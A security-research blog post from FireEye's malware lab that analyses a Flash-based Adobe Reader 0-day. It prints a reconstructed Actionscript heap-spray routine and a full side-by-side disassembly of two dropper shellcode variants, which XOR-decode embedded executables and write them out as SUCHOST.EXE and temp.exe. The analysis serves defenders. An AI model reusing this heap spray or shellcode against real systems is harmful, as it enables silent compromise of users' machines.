Blog

Heap Spraying with Actionscript

Why turning off Javascript won’t help this time


Introduction

As you may have heard, there’s a new Adobe PDF-or-Flash-or-something 0-day in the
wild. So this is a quick note about how it’s implemented, but this
blog post is not going to cover any details about the exploit itself
.


Background Summary

Most of the Acrobat exploits over the last several months use the, now
common, heap spraying
technique
, implemented in
Javascript/ECMAscript, a
Turing complete
language that Adobe thought would
go well with static documents. (Cause that went so well
for Postscript)
(Ironically, PDF has now come full circle back
to having the features of Postscript that it was
trying to get away from
.)
The exploit could be made far far less reliable, by
disabling Javascript in
your Adobe Acrobat Reader
.

But apparently there’s no easy way to disable Flash through the UI.
US-CERT recommends renaming the
%ProgramFiles%\Adobe\Reader 9.0\Reader\authplay.dll and
%ProgramFiles%\Adobe\Reader 9.0\Reader\rt3d.dll
files. [Edit: Actually the source for this advice is the Adobe Product Security Incident Response Team (PSIRT).]

Anyway, here’s why… Flash has it’s own version of ECMAScript called
Actionscript, and whoever wrote this new 0-day, finally did something new by
implementing the heap-spray routine with Actionscript inside of Flash.


Details

Actionscript is tokenized/compiled into an instruction set for an
Actionscript Virtual Machine [AVM¹]
and it retains much of the same shape
in bytecode form, as the original Actionscript source. This makes it fairly
easy to de-compile the byte code back into something easier to read. For
example: [Original flash filename replaced with xxxxx here]


constructor * <q>[public]xxxxx_fla::MainTimeline=()(0 params, 0 optional)
[stack:3 locals:1 scope:10-11 flags:]
{
00000) + 0:0 getlocal_0
00001) + 1:0 pushscope
00002) + 0:1 getlocal_0
00003) + 1:1 constructsuper 0 params
00004) + 0:1 findpropstrict <q>[public]::addFrameScript
00005) + 1:1 pushbyte 0
00006) + 2:1 getlex <q>[packageinternal]xxxxx_fla::frame1
00007) + 3:1 callpropvoid <q>[public]::addFrameScript, 2 params
00008) + 0:1 returnvoid
}

This may be incorrect, because I’m using only the fantastic power of my own brain
to decompile this, but this is approximately what it says in English, er I mean
Actionscript:

var whatever:MovieClip = new MovieClip();
whatever:addframeScript(0, frame1);

And then frame1 [see Appendix] is vaguely like this:

function frame1():void {
var a:String = "\13\13\13\13";
var b:String = "\0c\0c\0c\0c"; // A heap address, and effectively x86 NOPs
while ( b.length < 0x1000000 ) {
b = b + a;
}
// This brings us to instruction line 18 (see below)
var byteArr:ByteArray = new ByteArray(); // lines 19 thru 22
byteArr.writeByte(0x40); // lines 23 thru 34
byteArr.writeByte(0x40);
byteArr.writeByte(0x40);
byteArr.writeByte(0x40);
// lines 36 thru 46
while (byteArr.length < 64 * 0x100000) {
byteArr.writeMultiByte(b, "iso-8859-1");
}
// line 47 onwards
byteArr.writeByte(0x90); // NOP
byteArr.writeByte(0x90); // NOP
byteArr.writeByte(0x90); // NOP
byteArr.writeByte(0x90); // NOP
byteArr.writeByte(0x81); // 81EC 20010000 → SUB ESP,0x120
byteArr.writeByte(0xEC);
byteArr.writeByte(0x20);
byteArr.writeByte(0x01);
byteArr.writeByte(0x00);
byteArr.writeByte(0x00);
// etc. etc. etc. building up the shellcode one byte at a time
}


Appendix

This is the output from the excellent SWFTools.


slot 0: var <q>[public]::a:NULL
slot 0: var <q>[public]::byteArr:<q>[public]flash.utils::ByteArray
slot 0: var <q>[public]::b:NULL
method * <q>[packageinternal]xxxxx_fla::frame1=()(0 params, 0 optional)
[stack:3 locals:1 scope:10-11 flags:] slot:0
{
00000) + 0:0 getlocal_0
00001) + 1:0 pushscope
00002) + 0:1 findproperty <q>[public]::b
00003) + 1:1 pushstring "\0c\0c\0c\0c"
00004) + 2:1 initproperty <q>[public]::b
00005) + 0:1 findproperty <q>[public]::a
00006) + 1:1 pushstring "\13\13\13\13"
00007) + 2:1 initproperty <q>[public]::a
00008) + 0:1 jump ->15
00009) + 0:1 label
00010) + 0:1 findproperty <q>[public]::b
00011) + 1:1 getlex <q>[public]::b
00012) + 2:1 getlex <q>[public]::a
00013) + 3:1 add
00014) + 2:1 initproperty <q>[public]::b
00015) + 0:1 getlex <q>[public]::b
00016) + 1:1 getproperty <multi>{
[private]NULL,[public]"",
[private]NULL,[public]xxxxx_fla,
[packageinternal]xxxxx_fla,
[namespace]http://adobe.com/AS3/2006/builtin,
[public]adobe.utils,
[public]flash.accessibility,
[public]flash.display,
[public]flash.errors,
[public]flash.events,
[public]flash.external,
[public]flash.filters,
[public]flash.geom,
[public]flash.media,
[public]flash.net,
[public]flash.printing,
[public]flash.system,
[public]flash.text,
[public]flash.ui,
[public]flash.utils,
[public]flash.xml,
[protected]xxxxx_fla:MainTimeline,
[staticprotected]xxxxx_fla:MainTimeline,
[staticprotected]flash.display:MovieClip,
[staticprotected]flash.display:Sprite,
[staticprotected]flash.display:DisplayObjectContainer,
[staticprotected]flash.display:InteractiveObject,
[staticprotected]flash.display:DisplayObject,
[staticprotected]flash.events:EventDispatcher,
[staticprotected]Object
}::length
00017) + 1:1 pushint 1048576
00018) + 2:1 iflt ->9
00019) + 0:1 findproperty <q>[public]::byteArr
00020) + 1:1 findpropstrict <q>[public]flash.utils::ByteArray
00021) + 2:1 constructprop <q>[public]flash.utils::ByteArray, 0 params
00022) + 2:1 initproperty <q>[public]::byteArr
00023) + 0:1 getlex <q>[public]::byteArr
00024) + 1:1 pushbyte 64
00025) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
00026) + 0:1 getlex <q>[public]::byteArr
00027) + 1:1 pushbyte 64
00028) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
00029) + 0:1 getlex <q>[public]::byteArr
00030) + 1:1 pushbyte 64
00031) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
00032) + 0:1 getlex <q>[public]::byteArr
00033) + 1:1 pushbyte 64
00034) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
00035) + 0:1 jump ->41
00036) + 0:1 label
00037) + 0:1 getlex <q>[public]::byteArr
00038) + 1:1 getlex <q>[public]::b
00039) + 2:1 pushstring "iso-8859-1"
00040) + 3:1 callpropvoid <q>[public]::writeMultiByte, 2 params
00041) + 0:1 getlex <q>[public]::byteArr
00042) + 1:1 getproperty <q>[public]::length
00043) + 1:1 pushint 1048576
00044) + 2:1 pushbyte 64
00045) + 3:1 multiply
00046) + 2:1 iflt ->36
00047) + 0:1 getlex <q>[public]::byteArr
00048) + 1:1 pushshort 144
00049) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
00050) + 0:1 getlex <q>[public]::byteArr
00051) + 1:1 pushshort 144
00052) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
00053) + 0:1 getlex <q>[public]::byteArr
00054) + 1:1 pushshort 144
00055) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
00056) + 0:1 getlex <q>[public]::byteArr
00057) + 1:1 pushshort 144
00058) + 2:1 callpropvoid <q>[public]::writeByte, 1 params
00059) + 0:1 getlex <q>[public]::byteArr
00060) + 1:1 pushshort 144
[…]

And as Bojan Zdrnja at ISC points out, there are two different shellcode payloads being used. I might write something more about these tomorrow (no promises). Most of the changed lines in this diff, are just jump offsets, which are different between the two, as there was some code added/deleted between them, and I haven’t normalized this yet.

90 nop
90 nop
90 nop
90 nop
90 nop
90 nop
90 nop
90 nop
90 nop
90 nop
90 nop
90 nop
81EC20010000 sub esp,0x120
81EC20010000 sub esp,0x120
8BFC mov edi,esp
8BFC mov edi,esp
83C704 add edi,byte +0x4
83C704 add edi,byte +0x4
C7073274910C mov dword [edi],0xc917432
C7073274910C mov dword [edi],0xc917432
C747048E130AAC mov dword [edi+0x4],0xac0a138e
C747048E130AAC mov dword [edi+0x4],0xac0a138e
C7470839E27D83 mov dword [edi+0x8],0x837de239
C7470839E27D83 mov dword [edi+0x8],0x837de239
C7470C8FF21861 mov dword [edi+0xc],0x6118f28f
C7470C8FF21861 mov dword [edi+0xc],0x6118f28f
C747109332E494 mov dword [edi+0x10],0x94e43293
C747109332E494 mov dword [edi+0x10],0x94e43293
C74714A932E494 mov dword [edi+0x14],0x94e432a9
C74714A932E494 mov dword [edi+0x14],0x94e432a9
C7471843BEACDB mov dword [edi+0x18],0xdbacbe43
C7471843BEACDB mov dword [edi+0x18],0xdbacbe43
C7471CB2360F13 mov dword [edi+0x1c],0x130f36b2
C7471CB2360F13 mov dword [edi+0x1c],0x130f36b2
C74720C48D1F74 mov dword [edi+0x20],0x741f8dc4
C74720C48D1F74 mov dword [edi+0x20],0x741f8dc4
C74724512FA201 mov dword [edi+0x24],0x1a22f51
C74724512FA201 mov dword [edi+0x24],0x1a22f51
C7472857660DFF mov dword [edi+0x28],0xff0d6657
C7472857660DFF mov dword [edi+0x28],0xff0d6657
C7472C9B878BE5 mov dword [edi+0x2c],0xe58b879b
C7472C9B878BE5 mov dword [edi+0x2c],0xe58b879b
C74730EDAFFFB4 mov dword [edi+0x30],0xb4ffafed
C74730EDAFFFB4 mov dword [edi+0x30],0xb4ffafed
E9D6020000 jmp dword 0x346 | E9D8020000 jmp dword 0x348
64A130000000 mov eax,[fs:0x30]
64A130000000 mov eax,[fs:0x30]
8B400C mov eax,[eax+0xc]
8B400C mov eax,[eax+0xc]
8B701C mov esi,[eax+0x1c]
8B701C mov esi,[eax+0x1c]
AD lodsd
AD lodsd
8B6808 mov ebp,[eax+0x8]
8B6808 mov ebp,[eax+0x8]
8BF7 mov esi,edi
8BF7 mov esi,edi
6A0D push byte +0xd
6A0D push byte +0xd
59 pop ecx
59 pop ecx
E877020000 call dword 0x301 | E879020000 call dword 0x303
E2F9 loop 0x85
E2F9 loop 0x85
8BEE mov ebp,esi
8BEE mov ebp,esi
8B4530 mov eax,[ebp+0x30]
8B4530 mov eax,[ebp+0x30]
894550 mov [ebp+0x50],eax
894550 mov [ebp+0x50],eax
81EC00040000 sub esp,0x400
81EC00040000 sub esp,0x400
8BF4 mov esi,esp
8BF4 mov esi,esp
83C604 add esi,byte +0x4
83C604 add esi,byte +0x4
FF552C call dword near [ebp+0x2c]
FF552C call dword near [ebp+0x2c]
8BD0 mov edx,eax
8BD0 mov edx,eax
33C0 xor eax,eax
33C0 xor eax,eax
42 inc edx
42 inc edx
803A22 cmp byte [edx],0x22
803A22 cmp byte [edx],0x22
75FA jnz 0xa6
75FA jnz 0xa6
40 inc eax
40 inc eax
83F802 cmp eax,byte +0x2
83F802 cmp eax,byte +0x2
75F4 jnz 0xa6
75F4 jnz 0xa6
42 inc edx
42 inc edx
33C0 xor eax,eax
33C0 xor eax,eax
40 inc eax
40 inc eax
803C0222 cmp byte [edx+eax],0x22
803C0222 cmp byte [edx+eax],0x22
75F9 jnz 0xb5
75F9 jnz 0xb5
C6040200 mov byte [edx+eax],0x0
C6040200 mov byte [edx+eax],0x0
6A00 push byte +0x0
6A00 push byte +0x0
6880000000 push 0x80
6880000000 push 0x80
6A03 push byte +0x3
6A03 push byte +0x3
6A00 push byte +0x0
6A00 push byte +0x0
6A03 push byte +0x3
6A03 push byte +0x3
6800000080 push 0x80000000
6800000080 push 0x80000000
52 push edx
52 push edx
FF5510 call dword near [ebp+0x10]
FF5510 call dword near [ebp+0x10]
83F800 cmp eax,byte +0x0
83F800 cmp eax,byte +0x0
0F8E19020000 jng dword 0x2f8 | 0F8E1B020000 jng dword 0x2fa
894530 mov [ebp+0x30],eax
894530 mov [ebp+0x30],eax
8BFE mov edi,esi
8BFE mov edi,esi
57 push edi
57 push edi
6800010000 push 0x100
6800010000 push 0x100
FF5508 call dword near [ebp+0x8]
FF5508 call dword near [ebp+0x8]
33C0 xor eax,eax
33C0 xor eax,eax
40 inc eax
40 inc eax
803C0700 cmp byte [edi+eax],0x0
803C0700 cmp byte [edi+eax],0x0
75F9 jnz 0xef
75F9 jnz 0xef
894560 mov [ebp+0x60],eax
894560 mov [ebp+0x60],eax
C704075C535543 mov dword [edi+eax],0x4355535c
C704075C535543 mov dword [edi+eax],0x4355535c
C7440704484F5354 mov dword [edi+eax+0x4],0x54534f48
C7440704484F5354 mov dword [edi+eax+0x4],0x54534f48
C74407082E455845 mov dword [edi+eax+0x8],0x4558452e
C74407082E455845 mov dword [edi+eax+0x8],0x4558452e
C644070C00 mov byte [edi+eax+0xc],0x0
C644070C00 mov byte [edi+eax+0xc],0x0
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6A02 push byte +0x2
6A02 push byte +0x2
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6800000040 push 0x40000000
6800000040 push 0x40000000
57 push edi
57 push edi
FF5510 call dword near [ebp+0x10]
FF5510 call dword near [ebp+0x10]
83F800 cmp eax,byte +0x0
83F800 cmp eax,byte +0x0
0F8EC7010000 jng dword 0x2f8 | 0F8EC9010000 jng dword 0x2fa
894534 mov [ebp+0x34],eax
894534 mov [ebp+0x34],eax
C7454000000000 mov dword [ebp+0x40],0x0
C7454000000000 mov dword [ebp+0x40],0x0
81EE00050000 sub esi,0x500
81EE00050000 sub esi,0x500
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6840250000 push 0x2540 | 6800250000 push 0x2500
8B4530 mov eax,[ebp+0x30]
8B4530 mov eax,[ebp+0x30]
50 push eax
50 push eax
FF5518 call dword near [ebp+0x18]
FF5518 call dword near [ebp+0x18]
6A00 push byte +0x0
6A00 push byte +0x0
8D4540 lea eax,[ebp+0x40]
8D4540 lea eax,[ebp+0x40]
50 push eax
50 push eax
6A08 push byte +0x8 | 6A30 push byte +0x30
56 push esi
56 push esi
FF7530 push dword [ebp+0x30]
FF7530 push dword [ebp+0x30]
FF551C call dword near [ebp+0x1c]
FF551C call dword near [ebp+0x1c]
8B06 mov eax,[esi] | 89B580000000 mov [ebp+0x80],esi


8B4628 mov eax,[esi+0x28]
894558 mov [ebp+0x58],eax
894558 mov [ebp+0x58],eax
8B4604 mov eax,[esi+0x4] | 8B462C mov eax,[esi+0x2c]
894554 mov [ebp+0x54],eax
894554 mov [ebp+0x54],eax
0500500000 add eax,0x5000
0500500000 add eax,0x5000
0500B00000 add eax,0xb000
0500B00000 add eax,0xb000
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
50 push eax
50 push eax
8B4530 mov eax,[ebp+0x30]
8B4530 mov eax,[ebp+0x30]
50 push eax
50 push eax
FF5518 call dword near [ebp+0x18]
FF5518 call dword near [ebp+0x18]
C7454000000000 mov dword [ebp+0x40],0x0
C7454000000000 mov dword [ebp+0x40],0x0
C7454400000000 mov dword [ebp+0x44],0x0
C7454400000000 mov dword [ebp+0x44],0x0
33DB xor ebx,ebx
33DB xor ebx,ebx
8B5D58 mov ebx,[ebp+0x58]
8B5D58 mov ebx,[ebp+0x58]
6A00 push byte +0x0
6A00 push byte +0x0
8D4540 lea eax,[ebp+0x40]
8D4540 lea eax,[ebp+0x40]
50 push eax
50 push eax
6800040000 push 0x400
6800040000 push 0x400
56 push esi
56 push esi
FF7530 push dword [ebp+0x30]
FF7530 push dword [ebp+0x30]
FF551C call dword near [ebp+0x1c]
FF551C call dword near [ebp+0x1c]
33C9 xor ecx,ecx
33C9 xor ecx,ecx
B900040000 mov ecx,0x400
B900040000 mov ecx,0x400
80740EFF97 xor byte [esi+ecx-0x1],0x97
80740EFF97 xor byte [esi+ecx-0x1],0x97
E2F9 loop 0x1ad | E2F9 loop 0x1b4
8BC3 mov eax,ebx
8BC3 mov eax,ebx
2D00040000 sub eax,0x400
2D00040000 sub eax,0x400
83F800 cmp eax,byte +0x0
83F800 cmp eax,byte +0x0
7F03 jg 0x1c3 | 7F03 jg 0x1ca
895D40 mov [ebp+0x40],ebx
895D40 mov [ebp+0x40],ebx
6A00 push byte +0x0
6A00 push byte +0x0
8D4544 lea eax,[ebp+0x44]
8D4544 lea eax,[ebp+0x44]
50 push eax
50 push eax
FF7540 push dword [ebp+0x40]
FF7540 push dword [ebp+0x40]
56 push esi
56 push esi
FF7534 push dword [ebp+0x34]
FF7534 push dword [ebp+0x34]
FF5520 call dword near [ebp+0x20]
FF5520 call dword near [ebp+0x20]
81EB00040000 sub ebx,0x400
81EB00040000 sub ebx,0x400
83FB00 cmp ebx,byte +0x0
83FB00 cmp ebx,byte +0x0
7FB6 jg 0x194 | 7FB6 jg 0x19b
FF7534 push dword [ebp+0x34]
FF7534 push dword [ebp+0x34]
FF5528 call dword near [ebp+0x28]
FF5528 call dword near [ebp+0x28]
6A00 push byte +0x0
6A00 push byte +0x0
57 push edi
57 push edi
FF5524 call dword near [ebp+0x24]
FF5524 call dword near [ebp+0x24]
8B4560 mov eax,[ebp+0x60]
8B4560 mov eax,[ebp+0x60]
C704075C74656D mov dword [edi+eax],0x6d65745c
C704075C74656D mov dword [edi+eax],0x6d65745c
C7440704702E6578 mov dword [edi+eax+0x4],0x78652e70
C7440704702E6578 mov dword [edi+eax+0x4],0x78652e70
C744070865000000 mov dword [edi+eax+0x8],0x65
C744070865000000 mov dword [edi+eax+0x8],0x65
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6A02 push byte +0x2
6A02 push byte +0x2
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6800000040 push 0x40000000
6800000040 push 0x40000000
57 push edi
57 push edi
FF5510 call dword near [ebp+0x10]
FF5510 call dword near [ebp+0x10]
83F800 cmp eax,byte +0x0
83F800 cmp eax,byte +0x0
0F8ED8000000 jng dword 0x2f8 | 0F8ED3000000 jng dword 0x2fa
894534 mov [ebp+0x34],eax
894534 mov [ebp+0x34],eax
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6800500000 push 0x5000
6800500000 push 0x5000
8B4530 mov eax,[ebp+0x30]
8B4530 mov eax,[ebp+0x30]
50 push eax
50 push eax
FF5518 call dword near [ebp+0x18]
FF5518 call dword near [ebp+0x18]
C7454000000000 mov dword [ebp+0x40],0x0
C7454000000000 mov dword [ebp+0x40],0x0
C7454400000000 mov dword [ebp+0x44],0x0
C7454400000000 mov dword [ebp+0x44],0x0
33DB xor ebx,ebx
33DB xor ebx,ebx
8B5D54 mov ebx,[ebp+0x54]
8B5D54 mov ebx,[ebp+0x54]
81C300B00000 add ebx,0xb000
81C300B00000 add ebx,0xb000
6A00 push byte +0x0
6A00 push byte +0x0
8D4540 lea eax,[ebp+0x40]
8D4540 lea eax,[ebp+0x40]
50 push eax
50 push eax
6800040000 push 0x400
6800040000 push 0x400
56 push esi
56 push esi
FF7530 push dword [ebp+0x30]
FF7530 push dword [ebp+0x30]
FF551C call dword near [ebp+0x1c]
FF551C call dword near [ebp+0x1c]
33C9 xor ecx,ecx
33C9 xor ecx,ecx
B900040000 mov ecx,0x400
B900040000 mov ecx,0x400
80740EFFA0 xor byte [esi+ecx-0x1],0xa0
80740EFFA0 xor byte [esi+ecx-0x1],0xa0
E2F9 loop 0x265 | E2F9 loop 0x26c
8BC3 mov eax,ebx
8BC3 mov eax,ebx
2D00040000 sub eax,0x400
2D00040000 sub eax,0x400
83F800 cmp eax,byte +0x0
83F800 cmp eax,byte +0x0
7F03 jg 0x27b | 7F03 jg 0x282
895D40 mov [ebp+0x40],ebx
895D40 mov [ebp+0x40],ebx
6A00 push byte +0x0
6A00 push byte +0x0
8D4544 lea eax,[ebp+0x44]
8D4544 lea eax,[ebp+0x44]
50 push eax
50 push eax
FF7540 push dword [ebp+0x40]
FF7540 push dword [ebp+0x40]
56 push esi
56 push esi
FF7534 push dword [ebp+0x34]
FF7534 push dword [ebp+0x34]
FF5520 call dword near [ebp+0x20]
FF5520 call dword near [ebp+0x20]
81EB00040000 sub ebx,0x400
81EB00040000 sub ebx,0x400
83FB00 cmp ebx,byte +0x0
83FB00 cmp ebx,byte +0x0
7FB6 jg 0x24c | 7FB6 jg 0x253


6A00 push byte +0x0


6A00 push byte +0x0


6800250000 push 0x2500


8B4530 mov eax,[ebp+0x30]


50 push eax


FF5518 call dword near [ebp+0x18]


6A00 push byte +0x0


8D4540 lea eax,[ebp+0x40]


50 push eax


6A30 push byte +0x30


56 push esi


FF7530 push dword [ebp+0x30]


FF551C call dword near [ebp+0x1c]


89B580000000 mov [ebp+0x80],esi
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6A00 push byte +0x0
6800900000 push 0x9000
6800900000 push 0x9000
8B4534 mov eax,[ebp+0x34]
8B4534 mov eax,[ebp+0x34]
50 push eax
50 push eax
FF5518 call dword near [ebp+0x18]
FF5518 call dword near [ebp+0x18]
FF552C call dword near [ebp+0x2c] | 8B8580000000 mov eax,[ebp+0x80]
33C9 xor ecx,ecx

33D2 xor edx,edx

803C0822 cmp byte [eax+ecx],0x22

7501 jnz 0x2b4

42 inc edx

83FA03 cmp edx,byte +0x3

740B jz 0x2c4

81F904010000 cmp ecx,0x104

7437 jz 0x2f8

41 inc ecx

EBE9 jmp short 0x2ad

03C1 add eax,ecx

40 inc eax

33C9 xor ecx,ecx

803C0822 cmp byte [eax+ecx],0x22

7403 jz 0x2d2

41 inc ecx

EBF7 jmp short 0x2c9

C6040800 mov byte [eax+ecx],0x0

6A00 push byte +0x0
6A00 push byte +0x0
8D4D44 lea ecx,[ebp+0x44]
8D4D44 lea ecx,[ebp+0x44]
51 push ecx
51 push ecx
FF7540 push dword [ebp+0x40]
FF7540 push dword [ebp+0x40]
50 push eax
50 push eax
FF7534 push dword [ebp+0x34]
FF7534 push dword [ebp+0x34]
FF5520 call dword near [ebp+0x20]
FF5520 call dword near [ebp+0x20]
FF7534 push dword [ebp+0x34]
FF7534 push dword [ebp+0x34]
FF5528 call dword near [ebp+0x28]
FF5528 call dword near [ebp+0x28]
6A00 push byte +0x0
6A00 push byte +0x0
57 push edi
57 push edi
FF5524 call dword near [ebp+0x24]
FF5524 call dword near [ebp+0x24]
FF7530 push dword [ebp+0x30]
FF7530 push dword [ebp+0x30]
FF5528 call dword near [ebp+0x28]
FF5528 call dword near [ebp+0x28]
FF5504 call dword near [ebp+0x4]
FF5504 call dword near [ebp+0x4]
6A00 push byte +0x0
6A00 push byte +0x0
50 push eax
50 push eax
FF550C call dword near [ebp+0xc]
FF550C call dword near [ebp+0xc]
51 push ecx
51 push ecx
56 push esi
56 push esi
8B753C mov esi,[ebp+0x3c]
8B753C mov esi,[ebp+0x3c]
8B742E78 mov esi,[esi+ebp+0x78]
8B742E78 mov esi,[esi+ebp+0x78]
03F5 add esi,ebp
03F5 add esi,ebp
56 push esi
56 push esi
8B7620 mov esi,[esi+0x20]
8B7620 mov esi,[esi+0x20]
03F5 add esi,ebp
03F5 add esi,ebp
33C9 xor ecx,ecx
33C9 xor ecx,ecx
49 dec ecx
49 dec ecx
41 inc ecx
41 inc ecx
AD lodsd
AD lodsd
03C5 add eax,ebp
03C5 add eax,ebp
33DB xor ebx,ebx
33DB xor ebx,ebx
0FBE10 movsx edx,byte [eax]
0FBE10 movsx edx,byte [eax]
3AD6 cmp dl,dh
3AD6 cmp dl,dh
7408 jz 0x32a | 7408 jz 0x32c
C1CB07 ror ebx,0x7
C1CB07 ror ebx,0x7
03DA add ebx,edx
03DA add ebx,edx
40 inc eax
40 inc eax
EBF1 jmp short 0x31b | EBF1 jmp short 0x31d
3B1F cmp ebx,[edi]
3B1F cmp ebx,[edi]
75E7 jnz 0x315 | 75E7 jnz 0x317
5E pop esi
5E pop esi
8B5E24 mov ebx,[esi+0x24]
8B5E24 mov ebx,[esi+0x24]
03DD add ebx,ebp
03DD add ebx,ebp
668B0C4B mov cx,[ebx+ecx*2]
668B0C4B mov cx,[ebx+ecx*2]
8B5E1C mov ebx,[esi+0x1c]
8B5E1C mov ebx,[esi+0x1c]
03DD add ebx,ebp
03DD add ebx,ebp
8B048B mov eax,[ebx+ecx*4]
8B048B mov eax,[ebx+ecx*4]
03C5 add eax,ebp
03C5 add eax,ebp
AB stosd
AB stosd
5E pop esi
5E pop esi
59 pop ecx
59 pop ecx
C3 ret
C3 ret
E825FDFFFF call dword 0x70 | E823FDFFFF call dword 0x70
61 popad
61 popad
6B db 0x6B
6B db 0x6B
61 popad
61 popad
6B db 0x6B
6B db 0x6B

¹The only document I’ve found on this so far:
avm2overview.pdf All other
information is in source code form.



Julia Wolf @ FireEye Malware Intelligence Lab

Questions/Comments to research [@] fireeye [.] com

One thought on “Heap Spraying with Actionscript

  1. Ha! I appreciate the irony of you linking to avm2overview.PDF at the bottom there. Anyway interesting read, thanks!

Comments are closed.